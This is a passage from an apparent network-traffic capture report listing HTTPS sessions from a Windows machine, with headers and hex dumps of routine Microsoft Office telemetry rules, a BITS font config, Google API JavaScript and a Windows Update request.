R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:22 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:22 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: c5020da2-f01e-003f-2928-27d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174222Z-r197bdfb6b4hsj5bywyqk9r2xw00000008ag000000007yzw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:22 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:22 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:22 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: d6813257-101e-0034-034f-2896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174222Z-15b8d89586f42m673h1quuee4s0000000aug00000000kek8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:22 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49737	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:23 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-29 17:42:23 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=69199 Date: Tue, 29 Oct 2024 17:42:23 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-29 17:42:23 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49740	142.250.74.206	443	6508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:23 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 17:42:23 UTC	913	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 29 Oct 2024 17:40:01 GMT Expires: Wed, 29 Oct 2025 17:40:01 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 142 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-29 17:42:23 UTC	465	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-29 17:42:23 UTC	1378	IN	Data Raw: 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e Data Ascii: type)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return
2024-10-29 17:42:23 UTC	1378	IN	Data Raw: 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 69 Data Ascii: b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.assi
2024-10-29 17:42:23 UTC	1378	IN	Data Raw: 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 3a 68 Data Ascii: nction(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject:h
2024-10-29 17:42:23 UTC	1378	IN	Data Raw: 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 74 69 Data Ascii: omise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=functi
2024-10-29 17:42:23 UTC	1378	IN	Data Raw: 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 Data Ascii: ("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));for(
2024-10-29 17:42:23 UTC	1378	IN	Data Raw: 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 68 69 Data Ascii: h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return thi
2024-10-29 17:42:23 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 2e 73 Data Ascii: function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this.s
2024-10-29 17:42:23 UTC	1378	IN	Data Raw: 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 74 Data Ascii: .entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)ret
2024-10-29 17:42:23 UTC	1378	IN	Data Raw: 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 29 Data Ascii: 216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(e)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49726	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:23 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=w1NrhScwMP4Pzkz&MD=PmcYeuu9 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-29 17:42:23 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: d367f291-b680-4537-b184-ba2aa6e1d529 MS-RequestId: 5e20ab53-976d-475f-be85-6360359f4c62 MS-CV: d8dzxLQ1w0SJ0kjj.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 29 Oct 2024 17:42:22 GMT Connection: close Content-Length: 24490
2024-10-29 17:42:23 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-29 17:42:23 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:23 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: cb18986a-b01e-0053-40f0-27cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174223Z-r197bdfb6b4qbfppwgs4nqza8000000005c000000000kmbe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
